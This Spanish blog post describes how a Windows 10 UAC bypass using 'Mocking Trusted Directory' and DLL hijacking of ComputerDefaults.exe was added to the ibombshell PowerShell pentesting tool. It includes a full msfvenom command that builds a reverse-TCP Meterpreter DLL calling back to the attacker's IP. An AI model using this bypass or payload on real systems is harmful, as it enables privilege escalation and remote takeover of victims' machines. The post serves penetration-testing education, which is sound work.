martes, noviembre 20, 2018

Mocking Trusted Directory UAC Bypass en iBombshell

La semana pasada hablábamos sobre la técnica Mocking Trusted Directory como algo más que un bypass de UAC para Windows, ya que permite engañar al sistema operativo y hacerse pasar por una ruta de confianza cuando, en realidad, no lo es. También comenté que miraría para llevar esta técnica a ibombshell y aquí la tenemos lista y funcionando para que la utilices en tus proyectos de Ethical Hacking. Es más, lo interesante era hacerlo funcionar en Windows 10.

Figura 1: Mocking Trusted Directory UAC Bypass en iBombshell

En el artículo de hoy hablaremos de la integración de esta función en ibombshell, tanto en el modo Everywhere como en el modo Silently. Antes, veremos un vídeo en el que se puede ver el funcionamiento por debajo de esta técnica sobre un Windows 10 hecho de forma manual y cómo se consigue el DLL Hijacking, en este caso del binario ComputerDefaults.exe.

Prueba manual de Mocking Trusted Directory

En esta prueba manual usaremos los conceptos explicados en el artículo anterior, y las técnicas habituales que se explican en el libro de "Hacking Windows: Ataques a sistemas y redes Microsoft" que escribí junto a mis colega Carlos García y Valentín Martín.

Figura 2: Hacking Windows: Ataques a sistemas y redes Microsoft

Tengo que decir que para elegir un binario débil a DLL Hijacking me basé en los resultados obtenidos con UAC-A-Mola y el paper que publicqué en el año 2017, junto a mi colega Santiago Hernández Ramos. En el último apartado podíamos ver cómo se detectaban potenciales binarios débiles a DLL Hijacking gracias al módulo que automatizaba esta operación en UAC-A-Mola.

Figura 3: Binarios débiles frente a DLL Hijacking detectados por UAC-a-mola

Para el artículo de hoy, solo he cogido el primer binario de la lista, pero podríamos utilizar otros que aparecen en el listado. De los 60 binarios que se encuentran en el directorio \Windows\System32 y que tienen AutoElevate a True, un total de 13 podrían ser utilizados para el DLL Hijacking con Mocking Trusted Directory, seguramente.


Figura 4: Windows 10 UAC Bypass: Mocking Trusted Directory - Prueba Manual

Lo primero fue hacerse un boceto de lo que necesitaba en Powershell. Como sabéis ibombshell permite cargar dinámicamente funciones en memoria, por lo que cualquier puede crear una función e invocarla en tiempo de ejecución desde la consola. Pensé en las cosas que necesitaba e hice este ejercicio:
1- Es un bypass que utiliza DLL Hijacking 
Necesitamos que la función reciba la ruta donde estará la DLL que queremos que se ejecute. El cómo hagamos la DLL es cosa nuestra y el que contenga la DLL también es cosa nuestra. Por ejemplo, podemos utilizar msfvenom –p Windows/x64/meterpreter/reverse_tcp LHOST=[dirección IP nuestra] LPORT=4444 –b ‘\x00\x0a\x0d’ –f dll –o [salida DLL] y de este modo conseguir una DLL que tenga un Meterpreter dentro y que sirva para procesos x64. En resumen, tendremos un parámetro $dll en la función que recibirá la ruta a la DLL.
2- Necesitamos el nombre de la carpeta donde se almacena la DLL 
En este caso, y tal y cómo se puede ver fácilmente con ProcMon, es una ruta con un ID que puede cambiar con diferentes compilaciones fácilmente. En la función se ha dejado una por defecto si no se introduce, pero deberá configurarse por el pentester.
3- Hay que detectar la versión del sistema operativo 
Para ello se puede utilizar la propia función que tiene ibombshell para ello, o poder implementar algún método propio en la función.
Ya no hay más requisitos, así que ahora era el momento de ir introduciendo las instrucción a través de System.io.* con el objetivo de crear la jerarquía de carpetas y poder llevar a cabo el bypass de UAC. La primera versión de la función ha quedado así:

Figura 5: Función para ejecutar el Mocking Trusted Directory UAC Bypass en Powershell

Ahora es el momento de probarlo e implementarlo en los modos Everywhere y Silently dentro de nuestro iBombshell. Vamos a verlo en cada uno de los modos en las siguientes partes del artículo.

Pentesting con el modo Everywhere

Ahora vamos a ver cómo se puede probar esta función en el modo Everywhere. Este es el modo de uso local, es decir, no tenemos herramientas de Ethical Hacking en el equipo, pero disponemos de una Powershell. Abrimos una Powershell, abrimos el navegador y vamos al sitio web de Github de ElevenPaths, vamos al repositorio de ibombshell y encontramos la siguiente instrucción:

Figura 6: Modo everywhere en ibombshell

Como se puede ver en la siguiente imagen, lo primero que hacemos, una vez que tenemos cargada ibombshell, es cargar la función help! que nos ayudará a obtener la ayuda necesaria para ejecutar y conocer los parámetros obligatorios, y los que no, de una función.

Figura 7: Invocación en modo everywhere de mockingtrusteddirectory en ibombshell
Tras cargar dinámicamente la función de “invoke-mockingtrusteddirectory” se consulta la ayuda y podemos ver cómo necesitamos la ruta de la DLL. El cómo colamos dicha DLL es cosa nuestra, pero se puede utilizar ibombshell para hacer un “drop” en el equipo.


Figura 8: Windows 10 UAC Bypass con Mocking Trusted Directory con ibombshell en modo everywhere

Una vez tenemos todo preparado ejecutamos la función del bypass de UAC. En el vídeo se puede ver el proceso paso a paso y la obtención del Meterpreter con privilegio gracias al bypass.

Pentesting con el modo Silently de ibombshell

El nuevo módulo escrito en Python puede consultarse desde su carpeta en el repositorio de Github. La configuración es sencilla, primero debemos tener el listener para recoger la sesión de ibombshell, tal y como se puede ver más adelante en el vídeo.

Figura 9: Módulo en Pyhont

Cuando se ejecuta la función en el modo silently se realiza el bypass y se obtiene la sesión de Meterpreter, ya que la DLL tiene este código. Otra posibilidad sería crear una DLL que ejecutará un código de Powershell e invocar ahí nuestra ibombshell en modo Silently.

Figura 10: Elevación a System en Meterpreter en nuestro Kali Linux

Por último, como en el caso anterior, os dejo un pequeño vídeo de la última parte explotando el Bypass de UAC usando Mocking Trusted Directory desde ibombshell en modo Silently para que podáis ver el funcionamiento.

Figura 11: Windows 10 UAC Bypass usando Mocking Trusted Directory desde ibombshell en modo Silently

Hasta aquí el ejemplo de inclusión del nuevo bypass de UAC en nuestra herramienta ibombshell. Esperemos que ayudéis con el crecimiento de la herramienta. Pronto novedades con el viaje al Arsenal de la BlackHat Europe 2018.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.

No hay comentarios:

Publicar un comentario